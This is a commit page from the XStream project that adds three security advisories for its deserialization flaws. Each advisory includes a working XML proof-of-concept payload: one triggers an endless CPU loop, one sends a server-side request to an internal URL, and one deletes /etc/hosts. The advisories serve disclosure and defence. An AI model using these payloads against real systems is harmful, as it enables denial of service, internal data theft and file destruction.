Skip to content

Commit c1a50a0

Browse files
joehnijoehni
committed
Add CVEs, fixes and documentation.
1 parent d3c679a commit c1a50a0

File tree

16 files changed

+1721
-79
lines changed

16 files changed

+1721
-79
lines changed

‎xstream-distribution/src/content/CVE-2021-21341.html

Lines changed: 89 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,89 @@
1+
<html>
2+
<!--
3+
Copyright (C) 2021 XStream committers.
4+
All rights reserved.
5+
6+
The software in this package is published under the terms of the BSD
7+
style license a copy of which has been included with this distribution in
8+
the LICENSE.txt file.
9+
10+
Created on 10. January 2021 by Joerg Schaible
11+
-->
12+
<head>
13+
<title>CVE-2021-21341</title>
14+
</head>
15+
<body>
16+
17+
<h2 id="vulnerability">Vulnerability</h2>
18+
19+
<p>CVE-2021-21341: XStream can cause a Denial of Service.</p>
20+
21+
<h2 id="affected_versions">Affected Versions</h2>
22+
23+
<p>All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is
24+
affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
25+
framework</a> with a whitelist limited to the minimal required types.</p>
26+
27+
<h2 id="description">Description</h2>
28+
29+
<p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
30+
XStream creates therefore new instances based on these type information. An attacker can manipulate the processed
31+
input stream and replace or inject a manipulated ByteArrayInputStream (or derived class), that can cause an endless
32+
loop resulting in a denial of service.</p>
33+
34+
<h2 id="reproduction">Steps to Reproduce</h2>
35+
36+
<p>Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and
37+
unmarshal it again with XStream:</p>
38+
<div class="Source XML"><pre>&lt;java.util.PriorityQueue serialization='custom'&gt;
39+
&lt;unserializable-parents/&gt;
40+
&lt;java.util.PriorityQueue&gt;
41+
&lt;default&gt;
42+
&lt;size&gt;2&lt;/size&gt;
43+
&lt;comparator class='javafx.collections.ObservableList$1'/&gt;
44+
&lt;/default&gt;
45+
&lt;int&gt;3&lt;/int&gt;
46+
&lt;com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data&gt;
47+
&lt;dataHandler&gt;
48+
&lt;dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'&gt;
49+
&lt;is class='java.io.ByteArrayInputStream'&gt;
50+
&lt;buf&gt;&lt;/buf&gt;
51+
&lt;pos&gt;-2147483648&lt;/pos&gt;
52+
&lt;mark&gt;0&lt;/mark&gt;
53+
&lt;count&gt;0&lt;/count&gt;
54+
&lt;/is&gt;
55+
&lt;consumed&gt;false&lt;/consumed&gt;
56+
&lt;/dataSource&gt;
57+
&lt;transferFlavors/&gt;
58+
&lt;/dataHandler&gt;
59+
&lt;dataLen&gt;0&lt;/dataLen&gt;
60+
&lt;/com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data&gt;
61+
&lt;com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/&gt;
62+
&lt;/java.util.PriorityQueue&gt;
63+
&lt;/java.util.PriorityQueue&gt;
64+
</pre></div>
65+
<div class="Source Java"><pre>XStream xstream = new XStream();
66+
xstream.fromXML(xml);
67+
</pre></div>
68+
69+
<p>As soon as the XML gets unmarshalled, the an endless loop is entered and the executing thread consumes maximum
70+
CPU time and will never return.</p>
71+
72+
<p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>
73+
74+
<h2 id="impact">Impact</h2>
75+
76+
<p>The vulnerability may allow a remote attacker to allocate 100% CPU time on the target system depending on CPU
77+
type or parallel execution of such a payload resulting in a denial of service only by manipulating the processed
78+
input stream.</p>
79+
80+
<h2 id="workarounds">Workarounds</h2>
81+
82+
<p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>
83+
84+
<h2 id="credits">Credits</h2>
85+
86+
<p>The vulnerability was discovered and reported by threedr3am.</p>
87+
88+
</body>
89+
</html>

‎xstream-distribution/src/content/CVE-2021-21342.html

Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
<html>
2+
<!--
3+
Copyright (C) 2021 XStream committers.
4+
All rights reserved.
5+
6+
The software in this package is published under the terms of the BSD
7+
style license a copy of which has been included with this distribution in
8+
the LICENSE.txt file.
9+
10+
Created on 12. January 2021 by Joerg Schaible
11+
-->
12+
<head>
13+
<title>CVE-2021-21342</title>
14+
</head>
15+
<body>
16+
17+
<h2 id="vulnerability">Vulnerability</h2>
18+
19+
<p>CVE-2021-21342: A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams
20+
from an arbitrary URL referencing a resource in an intranet or the local host.</p>
21+
22+
<h2 id="affected_versions">Affected Versions</h2>
23+
24+
<p>All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is
25+
affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
26+
framework</a> with a whitelist limited to the minimal required types.</p>
27+
28+
<h2 id="description">Description</h2>
29+
30+
<p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
31+
XStream creates therefore new instances based on these type information. An attacker can manipulate the processed
32+
input stream and replace or inject objects, that result in a server-side forgery request.</p>
33+
34+
<h2 id="reproduction">Steps to Reproduce</h2>
35+
36+
<p>Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and
37+
unmarshal it again with XStream:</p>
38+
<div class="Source XML"><pre>&lt;java.util.PriorityQueue serialization='custom'&gt;
39+
&lt;unserializable-parents/&gt;
40+
&lt;java.util.PriorityQueue&gt;
41+
&lt;default&gt;
42+
&lt;size&gt;2&lt;/size&gt;
43+
&lt;comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'&gt;
44+
&lt;indexMap class='com.sun.xml.internal.ws.client.ResponseContext'&gt;
45+
&lt;packet&gt;
46+
&lt;message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'&gt;
47+
&lt;dataSource class='javax.activation.URLDataSource'&gt;
48+
&lt;url&gt;http://localhost:8080/internal/:&lt;/url&gt;
49+
&lt;/dataSource&gt;
50+
&lt;/message&gt;
51+
&lt;/packet&gt;
52+
&lt;/indexMap&gt;
53+
&lt;/comparator&gt;
54+
&lt;/default&gt;
55+
&lt;int&gt;3&lt;/int&gt;
56+
&lt;string&gt;javax.xml.ws.binding.attachments.inbound&lt;/string&gt;
57+
&lt;string&gt;javax.xml.ws.binding.attachments.inbound&lt;/string&gt;
58+
&lt;/java.util.PriorityQueue&gt;
59+
&lt;/java.util.PriorityQueue&gt;
60+
</pre></div>
61+
<div class="Source Java"><pre>XStream xstream = new XStream();
62+
xstream.fromXML(xml);
63+
</pre></div>
64+
65+
<p>As soon as the XML gets unmarshalled, the payload gets executed and the data from the URL location is collected.</p>
66+
67+
<p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>
68+
69+
<h2 id="impact">Impact</h2>
70+
71+
<p>The vulnerability may allow a remote attacker to request data from internal resources that are not publicly
72+
available only by manipulating the processed input stream.</p>
73+
74+
<h2 id="workarounds">Workarounds</h2>
75+
76+
<p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>
77+
78+
<h2 id="credits">Credits</h2>
79+
80+
<p>钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.</p>
81+
82+
</body>
83+
</html>

‎xstream-distribution/src/content/CVE-2021-21343.html

Lines changed: 127 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,127 @@
1+
<html>
2+
<!--
3+
Copyright (C) 2021 XStream committers.
4+
All rights reserved.
5+
6+
The software in this package is published under the terms of the BSD
7+
style license a copy of which has been included with this distribution in
8+
the LICENSE.txt file.
9+
10+
Created on 16. January 2021 by Joerg Schaible
11+
-->
12+
<head>
13+
<title>CVE-2021-21343</title>
14+
</head>
15+
<body>
16+
17+
<h2 id="vulnerability">Vulnerability</h2>
18+
19+
<p>CVE-2021-21343: XStream is vulnerable to an Arbitrary File Deletion on the local host when unmarshalling as long
20+
as the executing process has sufficient rights.</p>
21+
22+
<h2 id="affected_versions">Affected Versions</h2>
23+
24+
<p>All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is
25+
affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
26+
framework</a> with a whitelist limited to the minimal required types.</p>
27+
28+
<h2 id="description">Description</h2>
29+
30+
<p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
31+
XStream creates therefore new instances based on these type information. An attacker can manipulate the processed
32+
input stream and replace or inject objects, that result in the deletion of a file on the local host.</p>
33+
34+
<h2 id="reproduction">Steps to Reproduce</h2>
35+
36+
<p>Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and
37+
unmarshal it again with XStream:</p>
38+
<div class="Source XML"><pre>&lt;java.util.PriorityQueue serialization='custom'&gt;
39+
&lt;unserializable-parents/&gt;
40+
&lt;java.util.PriorityQueue&gt;
41+
&lt;default&gt;
42+
&lt;size&gt;2&lt;/size&gt;
43+
&lt;comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'&gt;
44+
&lt;indexMap class='com.sun.xml.internal.ws.client.ResponseContext'&gt;
45+
&lt;packet&gt;
46+
&lt;message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'&gt;
47+
&lt;dataSource class='com.sun.xml.internal.ws.encoding.MIMEPartStreamingDataHandler$StreamingDataSource'&gt;
48+
&lt;part&gt;
49+
&lt;dataHead&gt;
50+
&lt;tail/&gt;
51+
&lt;head&gt;
52+
&lt;data class='com.sun.xml.internal.org.jvnet.mimepull.MemoryData'&gt;
53+
&lt;len&gt;3&lt;/len&gt;
54+
&lt;data&gt;AQID&lt;/data&gt;
55+
&lt;/data&gt;
56+
&lt;/head&gt;
57+
&lt;/dataHead&gt;
58+
&lt;contentTransferEncoding&gt;base64&lt;/contentTransferEncoding&gt;
59+
&lt;msg&gt;
60+
&lt;it class='java.util.ArrayList$Itr'&gt;
61+
&lt;cursor&gt;0&lt;/cursor&gt;
62+
&lt;lastRet&gt;1&lt;/lastRet&gt;
63+
&lt;expectedModCount&gt;4&lt;/expectedModCount&gt;
64+
&lt;outer-class&gt;
65+
&lt;com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/&gt;
66+
&lt;com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/&gt;
67+
&lt;com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/&gt;
68+
&lt;com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/&gt;
69+
&lt;/outer-class&gt;
70+
&lt;/it&gt;
71+
&lt;in class='java.io.FileInputStream'&gt;
72+
&lt;fd/&gt;
73+
&lt;channel class='sun.nio.ch.FileChannelImpl'&gt;
74+
&lt;closeLock/&gt;
75+
&lt;open&gt;true&lt;/open&gt;
76+
&lt;threads&gt;
77+
&lt;used&gt;-1&lt;/used&gt;
78+
&lt;/threads&gt;
79+
&lt;parent class='sun.plugin2.ipc.unix.DomainSocketNamedPipe'&gt;
80+
&lt;sockClient&gt;
81+
&lt;fileName&gt;/etc/hosts&lt;/fileName&gt;
82+
&lt;unlinkFile&gt;true&lt;/unlinkFile&gt;
83+
&lt;/sockClient&gt;
84+
&lt;connectionSync/&gt;
85+
&lt;/parent&gt;
86+
&lt;/channel&gt;
87+
&lt;closeLock/&gt;
88+
&lt;/in&gt;
89+
&lt;/msg&gt;
90+
&lt;/part&gt;
91+
&lt;/dataSource&gt;
92+
&lt;/message&gt;
93+
&lt;satellites/&gt;
94+
&lt;invocationProperties/&gt;
95+
&lt;/packet&gt;
96+
&lt;/indexMap&gt;
97+
&lt;/comparator&gt;
98+
&lt;/default&gt;
99+
&lt;int&gt;3&lt;/int&gt;
100+
&lt;string&gt;javax.xml.ws.binding.attachments.inbound&lt;/string&gt;
101+
&lt;string&gt;javax.xml.ws.binding.attachments.inbound&lt;/string&gt;
102+
&lt;/java.util.PriorityQueue&gt;
103+
&lt;/java.util.PriorityQueue&gt;
104+
</pre></div>
105+
<div class="Source Java"><pre>XStream xstream = new XStream();
106+
xstream.fromXML(xml);
107+
</pre></div>
108+
109+
<p>As soon as the XML gets unmarshalled, the payload gets executed and the references file is deleted.</p>
110+
111+
<p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>
112+
113+
<h2 id="impact">Impact</h2>
114+
115+
<p>The vulnerability may allow a remote attacker to delete arbitrary know files on the host as log as the executing
116+
process has sufficient rights only by manipulating the processed input stream.</p>
117+
118+
<h2 id="workarounds">Workarounds</h2>
119+
120+
<p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>
121+
122+
<h2 id="credits">Credits</h2>
123+
124+
<p>钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.</p>
125+
126+
</body>
127+
</html>

0 commit comments

Comments
 (0)